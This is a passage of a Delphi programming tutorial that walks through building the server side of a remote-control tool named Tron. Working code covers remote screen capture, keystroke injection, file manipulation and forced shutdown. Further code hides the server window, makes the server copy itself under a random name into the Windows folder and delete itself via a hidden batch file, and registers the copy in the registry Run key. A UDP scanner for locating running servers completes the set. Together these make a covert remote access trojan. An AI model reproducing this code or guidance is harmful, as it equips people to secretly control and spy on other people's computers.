      ('<THERESULT>CD-ROM: Open.');
    end
    else begin
      ServerSocket1.Socket.Connections[0].SendText
        ('<ERROROCRD>Could not open CD-ROM.');
    end;
end;
```

To open the CD drive we use an API call to the mciSendString function which returns 0 if successful. Ok, now for the close CD drive code:

```
if Pos('<CLOSECDRM>', Buf) = 1 then
  begin
    CloseCD;
  end;
```

There's your tag identifier code, and here's the CloseCD routine:

```
procedure TForm1.CloseCD;
begin
  if mciSendString('set cdaudio door closed wait',nil,0,handle)= 0
  then begin
    ServerSocket1.Socket.Connections[0].SendText
      ('<THERESULT>CD-ROM: Closed.');
  end
  else begin
    ServerSocket1.Socket.Connections[0].SendText
      ('<ERROROCRD>Could not close CD-ROM.');
  end;
end;
```

We are making the same API call here but this time, passing it a different string. The 'door closed' bit is something this API function recognises and will close the CD drive. Note that to use these API calls you will need to add MMSystem to your **uses** list.

NOTE: You could have put all the code required into your OnClientRead in place of the call to these routines. It is just much neater this way and you don't fill up your OnClientRead event with code.

At this point you have gained enough knowledge to start writing your own code and thinking about how you can implement each section. From this point onwards I will mostly just giving you the routines which you can use in your application. I will only make exceptions to this if there's something I think requires more explanation. Remember to use the Delphi help if you're unsure about anything.

- HOW TO SHUT DOWN THE REMOTE MACHINE -

Use this API call:

```
ExitWindowSEx(EWX_FORCE or EWX_SHUTDOWN, 0);
```

That line will force a reboot of the system. This should be used as a last resort as it could potentially damage data.

Allowed to use: Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

- HOW TO COPY A FILE FROM ONE PLACE TO ANOTHER -

Don't confuse this with downloading a file. To implement this feature just think about how you can send a string to the server containing of course a tag stating you want to copy a file: '<ACOPYFILE>' for example, and then old file name and path, and the new file name and path. Here's an API function to copy the file:

```
  CopyFile(PChar(CopyFrom), PChar(CopyTo), TRUE)
```

CopyFrom would be a string variable which you have assigned the file to be copied, and CopyTo – another string variable which would contain the new file and path. E.G:

```
  CopyFrom could = 'c:\file.txt'

  ..and CopyTo could = 'c:\folder\file.txt'
```

So you would just need to use routines like Pos() and Copy() to snip out each bit and assign them to either variable. This function will return True if successful.

- HOW TO MOVE A FILE -

Here you would use the CopyFile() API function again, and you would do a similar thing as you did with your copy file feature but this time add code to delete the CopyFrom bit. The code to delete a file is:

```
  DeleteFile(TheFile);
```

So you would send the server something similar to CopyFile() – the initial file, and where it is going to be moved to, and a tag saying something like '<AMOVEFILE>'. When your Server recognises this you would have to write a procedure to copy the file and then delete the original, and call it.

- HOW TO MAKE A DIRECTORY (MD) -

Use this function:

```
  CreateDir()
```

It takes a string as a parameter, so you could do something like:

```
  CreateDir('c:\NewDirectory');
  // or perhaps:
  CreateDir(MyStringVariableContainingNewDir);
```

This function will return the Boolean value 'True' - if the directory was successfully created. This means you could do something like:

```
  if CreateDir(TheNewDir) = True then
    begin
      ServerSocket1.Socket.Connections[0].SendText
        ('<THERESULT>New directory successfully created!');
    end;
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

You could also program an **else** section sending an error tag to the Client stating that the new directory could not be created.

- HOW TO RENAME A FILE -

Use this function:

```
  RenameFile()
```

It accepts two parameters, the first being the old file name and the second being the new file name. Here are some examples:

```
  RenameFile('c:\file.txt', 'c:\MyNewFileName.txt');
  // or:
  RenameFile(StrVarContainingOldName, StringVarContainingNewName);
```

This function will return a True value if successful.

- HOW TO DELETE A FILE -

You have already seen this function once in the move file bit:

```
  DeleteFile();
```

It requires a string containing the path and file name. If no path is specified, it will try to delete the file in the directory of which the Server is running.

- HOW TO GET THE SIZE OF A FILE -

The way I've used to get the size of a file is to create a TFileStream of the file, and then you can just do MyFileStream.Size. This will however return the size in bytes, if you want to convert it to kilobytes I suggest you do something like this:

```
  var
    TheFile : TFileStream;
  begin
    TheFile := TFileStream.Create(FileToGetSizeOf, fmOpenRead);
    ServerSocket1.Socket.Connections[0].SendText
      ('<THERESULT>[ ' + (Format('%.1fKB', [TheFile.Size / 1024])) +
        ' ]');
    TheFile.Free;
```

What we would get back from the Server here is something like: <THERESULT>[234.12kb] - so you would just need to delete the tag and display the Buf (Client side Buf of course) value on your Memo.

I've added the braces to this, but feel free to display this information how you like. Maybe you want to set a Label's caption the size of the file, it's entirely your choice.

- HOW TO OBTAIN THE REMOTE SYSTEM TIME -

When Tron connects to the Tron server, I have a this in the OnConnect event of my ClientSocket:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
  ClientSocket1.Socket.SendText('<SYSTMTIME>');
```

When the server recognises this tag in its OnClientRead as follows:

```
  if Pos('<SYSTMTIME>', Buf) = 1 then
    begin
      Socket.SendText('<THETIMEIS>' + TimeToStr(Now));
    end;
```

It sends the time back as shown, using the TimeToStr() function. Then, back on the Client side, I have it recognise the tag - <THETIMEIS>, delete the tag, and set my time Label's Caption to the time. Also, I have the same call as I make in the OnConnect event in my OnClick event of my time label – so it requests the current time when it is clicked.

- HOW TO CAPTURE THE REMOTE SCREEN -

I will run through this feature in more detail as it brings up some new concepts. You will need to have implemented the download file feature for this section. Also, if you are using the disable / enable components procedures I detailed earlier, this would be a good place to disable your components while the screen capture is in progress.

We are going to be working with a screen capture component here which you will need to download from the internet as it is not included with Delphi. I'll explain in steps how to download and install the component. By the way, if you are running two instances of Delphi, save both parts of your application and close one version down while we install this new component. The version of Delphi you have left open – click File, Close All - as we just want a blank Delphi running. If prompted to save your project, don't forget to click YES.

The component we need is called: TScreenCapture v.1.01. You can download it from either of the following locations:

http://www.torry.net/vcl/graphics/displaying/ctkscreencapture.exe

http://www.xpaperx.com/files/ctkscreencapture.exe

Download it to your Delphi folder. Once downloaded run the ScreenCapture.exe (or whatever you downloaded it as). A box will pop-up and let you specify the path. It's a good idea to install it somewhere in your Delphi folder (E.G: c:\Delphi6\ScreenCapture).

Once installed a demonstration application will show up. You can close that down. Now tab to Delphi and click: Component, Install Component... This will bring up an 'Install Component' box. The Unit section will be blank so click the Browse button next to it. Locate your TScreenCapture component folder (the place where you installed it), and there will be a ScreenCapture.pas in there. Select that and click Open. Now click OK on the 'Install Component' box.

A message to confirm this will pop up saying: 'Package dclusr.bpl will be built then installed. Continue?' - click Yes. Another information box will show just confirming it has been installed. Click OK.

The ScreenCapture.pas will automatically be opened at this stage so select File, Close All. You will be prompted with:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

'Save changes to project dclusr?' Click Yes. You can now open your application parts again.

Now if you look at your Component Palette (you might have to scroll along a little - depending which version of Delphi you have) there will be a new tab: TenKSupport - and under this tab our ScreenCapture Component.

Right, now to start working on our screen capture feature.

THE CLIENT:

Place a Button on your Form and set the Caption to something like 'Cap Screen'. Here's the OnClick event code for this Button:

```
  if ClientSocket1.Active then
    begin
      StoredLocalAs := '££3x£s2$1a29.jpg';
      ClientSocket1.Socket.SendText('<GETTHECAP>');
    end;
```

Remember our StoredLocalAs global string variable - It is used when we download a file as the name and location where it will be downloaded. Notice I haven't included the path of our JPG image. This means it will be stored in the same path as we are in at the moment (the same path as the Client is running in). I have used the name '££3x£s2$1a29.jpg' as it is highly unlikely that there will be a JPG image already of that name.

THE SERVER:

Moving on to the Server, you will need to drop your ScreenCapture component on your Server Form. Set its Jpeg property to True as we don't want to be getting .bmp screen caps. They are much too big.

OK, now we need to identify the tag in our OnClientRead and take, and save a screen cap:

```
  if Pos('<GETTHECAP>', Buf) = 1 then
    begin
{1}   ScreenCapture1.GetScreenShot;
{2}   ScreenCapture1.Shot2.SaveToFile('$$3x£s2$1a29.jpg');
{3}   RequestedFile := '$$3x£s2$1a29.jpg';
{4}   SendClientFile;
    end;
```

1. This is how we take a screenshot using our ScreenCapture component. It is stored in dynamic memory.

2. Here we are saving the screen cap from dynamic memory under another gibberish name - but slightly different to the name on the Client side; '$$' instead of '££'.

3. We set our screen cap to be a requested file using our old RequestedFile global string variable.

4. Now we need to call our procedure which will send the file.

We are going to need to add some code to our SendClientFile procedure to delete our screen capture file after we have sent it to the Client. We will need to add code just after this line:

Allowed to use Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
  ServerSocket1.Socket.Connections[0].SendStream(FS);
```

Add this:

```
  if FileExists('$$3x£s2$1a29.jpg') then
    begin
      DeleteFile('$$3x£s2$1a29.jpg');
    end;
```

That should be put in just before the **except** keyword – just to clean up after sending the cap.

BACK TO THE CLIENT:

Now in Tron I have used another Form to display the screen cap. I'll show you that method here.

Go to File, New, Form – to create a new Form for your Client. Now place an Image component (under the Additional tab of your Component Palette) on this Form and set its Align property to alClient. Also set the Image's Stretch property to True so the screen cap will fit itself nicely into this Image.

Select your Form2 again and set its BorderStyle property to bsNone to remove the classic Windows top border.

We will need to now recognize whether the file we have received is our screen cap or not. Go back to your Unit1 and to the ClientSocket OnRead event. Scroll down to where we have our **case** statement block: 'CSReceivingFile:' – and look at the section where we have received our file. The bit after TheFileSize = 0, where we set our switch back to CSIdle and free our TFileStream. Here, we need to add this code:

```
  if FileExists('££3x£s2$1a29.jpg') = True then
    begin // The file we received was a screen cap.
      Form2.Image1.Picture.LoadFromFile('££3x£s2$1a29.jpg');
      Form2.Show;
      DeleteFile('££3x£s2$1a29.jpg');
    end;
```

It is important that you add 'Jpeg' to your **uses** list of Unit1, as we are going to be working with them here.

Go to File, Save All. Save Unit2 in the same folder as Unit1 of your Client. Now compile each side of your application. If you are prompted with and 'Information' box saying about references to Form2 just click Yes. OK, run it and test your Button. Your Form2 will pop up showing the screen cap once it has downloaded. There's a catch you might have noticed. When it has the screen cap, you can't get rid of it. So back to our Unit2 of our Client..

Create an OnClick event for your Image1 on your Form2 and put in this code:

```
  Form2.Hide;
```

Create an OnKeyPress event for your Form2 and put in that same line. This is so if we press a key or click on the screen cap it will be hidden. Compile and test. You might also want to add another Button to bring the screen cap back up, which is easy – just add a Button and put: 'Form2.Show;' in the OnClick.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

- HOW TO SHOW A PICTURE ON THE REMOTE MACHINE -

This feature will display a picture of your specification on the remote system in the centre of the screen.

THE CLIENT:

Place a Button and an Edit box on your Form. Change the Caption of the Button to: 'Show p&ic' (if you want to change this caption, just adjust the code to suit your new caption) and change the Edit box's name to PicPath. Here is the OnClick event for our Button:

```
procedure TForm1.Button7Click(Sender: TObject);
begin
  if Button7.Caption = 'Show p&ic' then
    begin
      ClientSocket1.Socket.SendText('<SHOWTHPIC>' + PicPath.Text);
      Button7.Caption := '&Remove Pic';
    end
    else begin
      ClientSocket1.Socket.SendText('<REMOVEPIC>');
      Button7.Caption := 'Show p&ic';
    end;
end;
```

This Button happens to be my 7th Button – remember to adjust for your own application. It's a similar idea to our open/close CD-ROM Button.

THE SERVER:

Firstly we'll work on the code for showing the picture. Here's the OnClientRead event identifier code:

```
if Pos('<SHOWTHPIC>', Buf) = 1 then
  begin
    Delete(Buf, 1, 11); // You will need to declare the global
    GlobalBuf := Buf;   // string variable 'GlobalBuf' as we
    ShowThePicture;     // will be using it in another procedure.
  end;
```

We delete the tag, assign GlobalBuf with the Buf contents then call:

```
procedure TForm1.ShowThePicture;
begin
  if FileExists(GlobalBuf) then
  begin
    try
      Form2.Image1.Picture.LoadFromFile(GlobalBuf);
      Form2.Show;
      ServerSocket1.Socket.Connections[0].SendText
        ('<THERESULT>Showing Pic: ' + GlobalBuf);
    except
      ServerSocket1.Socket.Connections[0].SendText
        ('<ERROROCRD>Error showing: ' + GlobalBuf);
    end;
  end
  else begin
    ServerSocket1.Socket.Connections[0].SendText
      ('<ERROROCRD>File does not exist.');
  end;
end;
```

Allowed to use Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

You will have noticed we are loading the picture onto an Image on Form2. So go to File, New, Form. Put an Image component on your Form2 and set its Align property to alClient. Remove the border from this Form (set the Form2 BorderStyle property to bsNone) and set the Position property to poScreenCenter. If you set the FormStyle property of your Form2 to fsStayOnTop, this Form showing the picture will always be on top. Also, set your Image's Stretch property to True.

Now to put in our remove picture code. Just go back to your OnClientRead in your Unit1 and put in this:

```
  if Pos('<REMOVEPIC>', Buf) = 1 then
    begin
      Form2.Hide;
      Socket.SendText('<THERESULT>Picture Removed.');
    end;
```

Before you compile: File, Save All – and save the Unit2 in the same folder as your Unit1. Now compile all, and if prompted with an Information box about references to Unit2, click Yes. Now all you need to do is put the location (E.G: c:\pic.jpg or c:\pic2.bmp) of the picture to show on the remote machine in your PicPath and click your Button.

- HOW TO PLAY A .WAV FILE -

Use this API function:

```
  sndPlaySound(PChar(WavPathAndFileName), SND_ASYNC);
```

You would need to send the .WAV path and file name (E.G: c:\MyMusicFile.wav) and then get the information into a string variable and pass it as a PChar as the first parameter of this function. It will return True if successful.

- HOW TO TYPE KEYS FOR THE REMOTE SYSTEM -

This will allow you to type something into an Edit and have whatever you type, typed on the remote machine in the active window. The active window being whatever window is in focus at that point in time. We will have two modes: 'typer mode' on, and 'typer mode' off, and we will use a CheckBox to switch between the modes (this will make more sense in a while – or if you have used Tron you will know the kind). If we switch to typer mode on, we will be able to type for the remote machine.

For this feature, we will be using a component which you will need to download called SendKeys. I'll walk you through installing it. Firstly download the component from either of the following URLs:

```
  http://www.torry.net/vcl/system/keys/sendkeys.zip

  http://www.xpaperx.com/files/sendkeys.zip
```

If you have a few Delphis running, save your application and close them down apart from one - and go to File, Close All – so you are left with one 'blank' Delphi running.

Allowed to use Christopher Rainbird, Plymouth, Devon, PL8 1DT, UK

Now unzip the SendKeys.zip into a folder somewhere on your system and then tab to Delphi. Go to Component, Install Component, and Browse for the Unit file name. The Unit you want is a SendKeys.pas and it will be somewhere in your folder (where you extracted the zip file to) – you might have to go through a few subdirectories to get to it. Something like: '\library\Delphi\componenter\sendkeys\SendKeys.pas'.

Open the Unit and then click OK to install the component. A confirmation box will appear, click Yes. Now an information box, click OK – and Delphi will initially open the SendKeys.pas. At this stage the component is installed, so go to File, Close All. Make sure you click Yes on the confirmation box that will appear stating about saving changes to project dclusr.

Now go back to your SendKeys folder and go through each folder until you get to where the files are. There will be a Sendkeys.dcu file in there. Take a copy of this file and paste it into Delphi\Lib folder. It could be something like Delphi6\Lib, or Delphi\Delphi5\Lib – it just depends how you have installed Delphi. Search for the folder if you're not sure.

If you now look under your Samples tab of your Component Palette you will see the new component. Now back to our application – open both parts again (Client and Server).

<u>THE CLIENT:</u>

Place an Edit and a CheckBox components on your Form. Change the Edit's Name to TyperBox. Change your CheckBox's Caption to 'OFF' and create an OnClick event for it with the following code:

```
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  if CheckBox1.Checked = TRUE then
    begin // we want to be in typer mode
      CheckBox1.Caption := 'ON!';
      DisableComponents; // call my procedure to disable components
      ClientSocket1.Socket.SendText('<TYPEMODEA>'); // send mode A
    end
    else begin // turn the typer mode off
      CheckBox1.Caption := 'OFF';
      ClientSocket1.Socket.SendText('<TYPEMODEB>'); // send mode B
      EnableComponents; // call my procedure to enable them again
    end;
end;
```

So what's happening here is, when we click our CheckBox, the caption will turn to 'ON' and a request to be in typer mode will be sent to the Server by sending the tag: '<TYPEMODEA>'. If we click the CheckBox again, the typer mode will be turned off by sending the '<TYPEMODEB>' tag and our CheckBox caption will change back to OFF. I strongly recommend implementing the disable and enable components procedures detailed in the section: HOW TO DOWNLOAD A FILE FROM THE SERVER.

You would write a procedure containing code to set the Enabled property of all the components on your Form to False, and the another procedure to set their Enabled back to True.

OK, Our TyperBox OnKeyPress event should look like this:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

```
procedure TForm1.TyperBoxKeyPress(Sender: TObject; var Key: Char);
var
  KeySend : string;
begin
  if CheckBox1.Checked = TRUE then
  begin
    KeySend := Key; // assigns KeySend with the key just pressed.
    ClientSocket1.Socket.SendText(KeySend);
    if (Key = #13) then // if we press enter then just clear our
      begin             // TyperBox and add the keys to our Memo.
        Memo1.Lines.Add('** Keys Typed: ' TyperBox.Text);
        TyperBox.Clear;
        Key := #0; // this just gets rid of a ding sound you
      end;         // get when you press enter in an Edit.
  end;
end;
```

Here we are just sending the keys typed in our TyperBox Edit to the Server.

THE SERVER:

Place your SendKeys component on your Server Form. Now, we will need to add a new switch to our TServerStatus type. Add the 'SSTyperMode' as shown:

```
  TServerStatus = (SSIdle, SSReceivingFile, SSTyperMode);
```

Now go to your OnClientRead event, and add these tag identifiers:

```
  if Pos('<TYPEMODEA>', Buf) = 1 then
    begin
      Delete(Buf, 1, 11);
      SState := SSTyperMode;
    end;
  if Pos('<TYPEMODEB>', Buf) = 1 then
    begin
      SState := SSIdle;
    end;
```

And our code for our new switch is the following. Put this in your **case** statement block:

```
  SSTyperMode:
  begin
    SendKeys1.SendKeys(Buf);
  end;
```

And that's it. That line will use our SendKeys component and send whatever Buf equals to the active window. Compile and test.

NOTE: If you are testing both the Client and Server on your system, when you type something into your TyperBox with your CheckBox checked in the ON position, you will create a loop of typing.

- HOW TO HIDE YOUR SERVER FORM -

This will enable you to have your Server run invisibly. It requires alteration of your actual project source file.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

The project source is a .DPR file, which contains the start up code for your application. Go to your Server and click Project, View Source. Add the line shown in bold like this:

```
begin
  Application.Initialize;
  Application.ShowMainForm := False;
  Application.CreateForm(TForm1, Form1);
  Application.CreateForm(TForm2, Form2);
  Application.Run;
end.
```

Now your Server will run hidden. Compile and test. NOTE: You will need to close your Server through Ctrl+Alt+Del.

- HOW TO HAVE YOUR SERVER SELF-INSTALL UNDER A RANDOM NAME -

When your Server is run it will move to the windows folder under a randomly generated name and start running from there.

We start in the OnCreate event of our Form. The following is what this event will look like:

```
  procedure TForm1.FormCreate(Sender: TObject);
  var
    GetWinDir     : array [0..255] of Char;
    WinDirNoSlash : string;
  begin
{1} CurrentDir := ExtractFilePath(ParamStr(0)); // e.g c:\MyServer\
{2} GetWindowsDirectory(GetWinDir, 255);
{3} WinDirNoSlash := GetWinDir;                 // e.g c:\windows
    WindowsDir := WinDirNoSlash + '\';          // e.g c:\windows\
{4} DriveOfWin := Copy(WindowsDir, 1, 3);       // e.g c:\
    ServerName := RandomName;  // we will write this function in
                               // a while. It will return a name.
{5} if (CurrentDir <> WindowsDir) then
      begin
        // here we are not in the windows dir.
        // copy our server into the windows folder under the randomly
        // generated name.
{6}     CopyFile(PChar(ParamStr(0)), PChar(WindowsDir + ServerName),
          TRUE);
        // close our application triggering the OnDestroy event
        Application.Terminate;
      end;
  end;
```

You will need to declare the following global string variables at this stage:

```
  CurrentDir,
  WindowsDir,
  ServerName,
  DriveOfWin    : string;
```

Remember that's just a shortened down way of doing each as a separate declaration. Here are the numbered point explanations:

1. This is how we get the path our Server is running in and assign CurrentDir with the result.

Allowed to use: Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

2. We are calling the Windows API function GetWindowsDirectory, which not surprisingly will return the full path of the windows directory and assign our array GetWinDir with it.

3. We need to get the windows directory into a string so we assign the array contents to the string WinDirNoSlash. I've called this variable WinDirNoSlash because the path returned by GetWindowsDirectory will be something like: 'c:\windows' with no back-slash on the end - so the next step is to assign our actual WindowsDir with the value of WinDirNoSlash and add a '\'.

4. Here we are copying out the first 3 characters of the WindowsDir which will be the drive the windows directory is on. We'll need this information for later on. The next step is to generate a random name for our Server by calling a function which we will write in a moment.

5. Here we check if the directory our Server is in is not equal the windows directory. If it is not equal to the windows directory – meaning we are not in the windows directory – the enter the code block beneath.

6. ParamStr(0) is a function call which returns the path and file name of the executing program, in our case it will be something like: c:\MyServer\Server.exe – or whatever name it is. It could be something like a:\TronServer.exe – depending on the name and location of the executing program (your Server in this case).

So we are copying our Server into the windows directory under the randomly generated name (ServerName). We now want to close and delete the current version and run the version in the windows directory. The OnDestroy event is fired just before it your application closes. In this event we can code the removal of our Server and the call of our windows directory server. This is done through creating and calling a BATCH (or bat) file, which you are going to need to know how to do.

You do this in the same way as you would create a text file but with the .BAT extension. If you like you can try this to get used to creating bat files in Delphi. Create a new application and place a Button on your Form with the following OnClick code:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  BatName : string;
  BatFile : TextFile; // type used to manipulate text files.
begin
  BatName := 'c:\MyBatFile.bat';
  AssignFile(BatFile, BatName); // assigns our TextFile the BatName
  Rewrite(BatFile); // creates a new file and opens it to write to.
  Writeln(BatFile, 'c:');       // writes a line into our TextFile.
  Writeln(BatFile, 'cd\');
  Writeln(BatFile, 'md NewFolder');
  CloseFile(BatFile);           // closes our TextFile
end;
```

Try that. Clicking your Button will create a bat file: c:\MyBatFile.bat which will contain code for createing a folder called 'NewFolder' on your c:\.

Now that you are pretty familiar with that, lets look at our OnDestroy event:

Allowed to use: Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

```
  procedure TForm1.FormDestroy(Sender: TObject);
  var
    BatName    : string;
    BatFile    : TextFile;
    ProcessInfo: TProcessInformation;
    StartUpInfo: TStartupInfo;
  begin
    if (CurrentDir <> WindowsDir) then
    begin
{1}   BatName := WindowsDir + '$$33tmp6699.bat';
      AssignFile(BatFile, BatName);
      Rewrite(BatFile);
{-}   Writeln(BatFile, ':try');
{|}   Writeln(BatFile, 'del "' + ParamStr(0) + '"');
{|}   Writeln(BatFile, 'if exist "'+ParamStr(0)+'"' + ' goto try');
{|}   Writeln(BatFile, DriveOfWin);
{2}   Writeln(BatFile, 'cd\');
{|}   Writeln(BatFile, 'cd ' + WindowsDir);
{|}   Writeln(BatFile, ServerName);
{|}   Writeln(BatFile, ':delbat');
{|}   Writeln(BatFile, 'del "' + BatName + '"');
{-}   Writeln(BatFile, 'if exist "' + BatName + '" goto delbat');
      CloseFile(BatFile);
      { all the following code is just there to run our bat hidden }
{3}   FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
      StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
      StartUpInfo.wShowWindow := SW_HIDE;
      if CreateProcess(nil, PChar(BatName), nil, nil,
        False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
          ProcessInfo) then
            begin
              CloseHandle(ProcessInfo.hThread);
              CloseHandle(ProcessInfo.hProcess);
            end;
    end;
  end;
```

That is much simpler than it looks. Again we are saying, if we are not in the windows folder, then execute the code block - and here's what's going on in this code block:

1. Here we are assigning our BatName the windows directory path and '$$33tmp6699.bat' which is just a temporary name as this bat will be deleted when it has done its job. I've called it that as it is highly unlikely there will be a bat of that name already in the windows folder. So BatName will be assigned something like: c:\windows\$$33tmp6699.bat

2. Here we are writing this code into our $$33tmp6699.bat:

```
  :try
  del "c:\MyServer\Server.exe"
  if exist "c:\MyServer\Server.exe" goto try
  c:\
  cd\
  cd c:\windows\
  Assdfdemsdf.exe
  :delbat
  del "c:\windows\$$33tmp6699.bat"
  if exist "c:\windows\$$33tmp6699.bat" goto delbat
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Note that I have filled out some bits with what they could equal. For example the 'Assdfdemsdf.exe' is just an example of a randomly generated name of our Server. That's quite straightforward; this bat just deletes our server in its current location and name, and then runs our new server. The bat then deletes itself.

3. All the following code after point 3 is there to run our bat hidden. We are using API calls to create a hidden process for our bat. If you would like to take a look at them in detail, look up the 'StartUpInfo' structure on the MSDN site. All you really need to know here for our purpose is that this will run the bat hidden from view.

Now, lets code our RandomName function:

```
function TForm1.RandomName: string;
var
  NameBuf1 : array[0..4] of string;
  Letters  : array[0..2] of string;
  NameBuf2 : string;
begin
  NameBuf1[0] := 'Sfctriyc';
  NameBuf1[1] := 'Wjcuiuwe';
  NameBuf1[2] := 'R2gcater';
  NameBuf1[3] := 'Ptdsetfo';
  NameBuf1[4] := 'Mngmeg23';
  Letters[0]  := 'qwertyuioplkjhgfdsazxcvbnm';
  Letters[1]  := 'zaqxswcdevfrbgtnhymjukilop';
  Letters[2]  := 'mznxbcvlaksjdhfgqpwoeiruty';
  Randomize;
  NameBuf2 := NameBuf1[Random(5)];
  NameBuf2 := Copy(NameBuf2, 1, Random(5)) +
    Copy(Letters[Random(3)], Random(23), 3) +
      Copy(NameBuf2, 5, Random(3));
  if (Length(NameBuf2) <> 8) then
  begin
    NameBuf2 := NameBuf2 + Copy(Letters[Random(3)], 10, 8
      Length(NameBuf2));
  end;
  NameBuf2   := NameBuf2 + '.exe';
  if FileExists(WindowsDir + NameBuf2) = False then
    begin
      Result := NameBuf2;
    end
    else begin
      Result := 'Sfctriyc.exe';
    end;
end;
```

This is my way of generating a random name. If you can think of a better way by all means write your own function but this does fine for Tron. Include that function in your application and you're ready to compile and test. If you want to know what's going on here because you're interested in writing your own random name function I'll explain what I've done:

Firstly I assign each index of my array NameBuf1 with a name. This could be anything so I suggest you at least change these names. Then the next array: Letters - has each index assigned with a different sequence of the alphabet.

Allowed to use Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

At this point the Randomize procedure is called which initiates Delphi's random number generator. You need to call this procedure before generating random numbers with Random(), but only call it once.

Next, our NameBuf2 is assigned with a the value in one of the array indexes in NameBuf1 randomly chosen with the Random() (see the help on Random) function. Then I assign NameBuf2 with random bites of different array indexes. If it turns out that the name here is not 8 characters in length then some more letters are added.

Next the .EXE extension is added and a check to see if the file name already exists is done. If it doesn't exist, the server name is returned from this function. If it already exists which is highly unlikely, the Server name will just be Sfctriyc.exe. In the event that that exists it will be written over. The odds of that are really high so don't worry about it. If you're still concerned, extend this code with some more if FileExists checks.

- HOW TO HAVE YOUR SERVER START EACH TIME THE SYSTEM STARTS -

There are a few methods in which to have an application start each time the system is rebooted however the best, and most professional method is to put a key into the system registry.

If you're not familiar with your system registry, go to Start, Run, and type 'regedit'. This will bring up the system Registry Editor which contains information about programs and Windows. Follow this path by clicking on each folder:

```
  HKEY_LOCAL_MACHINE
  Software
  Microsoft
  Windows
  CurrentVersion
```

And then select the Run folder – you will see all the programs that run when your system boots. Go to Edit, New, String Value and type in some name. Now right click on the name and select modify. Type in the path of a program, E.G: c:\command.com – and click OK. If you were to reboot your computer at this stage, command.com would be run when Windows starts. The trick is to create a string value here for your Server application programmatically, so lets start doing that (you can delete that string now by the way):

Move back to your OnCreate event. Just below the line where you have copied your Server to the windows directory, put this code:

```
  Registry         := TRegistry.Create;
  Registry.RootKey := HKEY_LOCAL_MACHINE;
  Registry.OpenKey ('Software\Microsoft\Windows\CurrentVersion\Run',
    True);
  Registry.WriteString('MyServerStringName', WindowsDir +
    ServerName);
  Registry.CloseKey;
  Registry.Free;
```

You should put this just before the Application.Terminate line. Also, you will need to declare a local variable: Registry: TRegistry; - and add 'Registry' to your **uses** list.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

You can now compile and test that - and check the Windows Registry Editor and look at the Run key to see what we have done there. Note that you obviously want to change MyServerStringName to something more suitable.

What's going on here: We are utilizing Delphi's VCL TRegistry Object and its properties and methods to add our string value to the registry. Firstly we create the TRegistry Object for use. Then we set the RootKey, and then open the Run key we want to add a string value to. We open our key with the OpenKey method of TRegistry. The first parameter requires the path, and the second a Boolean value. Specifying True means it only creates the key if necessary.

Next we write our string into the open key, and then close the key. Finally we free our TRegistry Object which destroys and frees its associated memory.

- HOW TO GO ABOUT PROGRAMMING A SCANNER FOR YOUR SERVER (UDP) -

For this feature we will be using a different protocol: UDP – which stands for User Datagram Protocol. It is a connectionless protocol meaning we don't need to wait for a connection each time, we can just send a packet and them move on to the next machine and send another packet.

We will be using UDP components here – which the Indy Component Suite provides. Some versions of Delphi contain the Indy components however if you're running a version of Delphi which doesn't, you can download them from the following location:

http://www.nevrona.com/Indy/downloads/indy8_00_23.exe

It states it is for Delphi 6 but it works fine with Delphi 5. Download to your Delphi directory and install. You should close any running instances of Delphi before installing.

Now that you have installed the Indy components, open Delphi again and there will be some new Indy tabs in your Component Palette. Lets move on to programming your Server with these new components:

THE SERVER:

On the Server side you would need a IdUDPServer component listening for UDP packets on a certain port, and if it receives a packet – to send back a response. This would all be done in the OnUDPRead event.

It is also a good idea to add the IdAntiFreeze component your Form with its OnlyWhenIdle property set to True. This is a useful component as it prevents your application from freezing up.

THE SCANNER:

Here you would need to buid a scanner application. You can use the IdUDPClient to send out the packets to a certain subnet of an IP – and then increment the last subnet digit by 1 and send another packet to that machine in a loop.

You could use the IdUDPServer component again, but just have it listen for UDP packets on the same port as your Server sends the responses back – and add the responses to a Memo.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL6 1DY, UK

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

- TIPS AND TRICKS -

REDUCING THE SIZE OF YOUR SERVER:

Make your Form as small as possible. A bigger Form takes up more bytes when compiled. Set the Height property to 28 and Width to 112. Also, remove the Dialogs library from the **uses** list if you haven't used any dialogs.

DISABLING THE MAXIMIZE BORDER ICON FROM YOUR FORM:

Select the white '[+]' box next to the BorderIcons property to bring down the settings. Set the biMaximize to False.

DISALLOW YOUR FORM TO BE SIZED BY THE USER:

Set the BorderStyle property to bsSingle.

ADD FILE VERSION INFORMATION:

Go to Project, Options.. and click the Version Info tab. Check the box which says: "Include version information in project" – and fill out the boxes and compile.

If you now right click on your .EXE and go to Properties and Version you will see the information you have just included.

CREATING YOUR OWN ICON:

To assign a new icon to your application go to Project, Options, and under the Application tab you can click the Load Icon... button and browse for a .ICO file (icon file).

To actually create your own icon you can use the Delphi Image Editor. Locate your Borland Delphi tab through Start / Programs and open the Image Editor.

If you go to File, New, Icon File – you can design your own icon using the painting tools. Save and then load your saved .ICO into your application.

If you have an .EXE file with an icon you would like to use for your own project, you can use icon extraction software to extract the .ICO file from the EXE. We recommend a program called Icon Filter for this as it is freeware and is very fast at extracting the icon file. It is readily available from Download.com – just search for Icon Filter.

- CONCLUSION -

Remember to always thoroughly test your applications, especially if you are planning on releasing software.

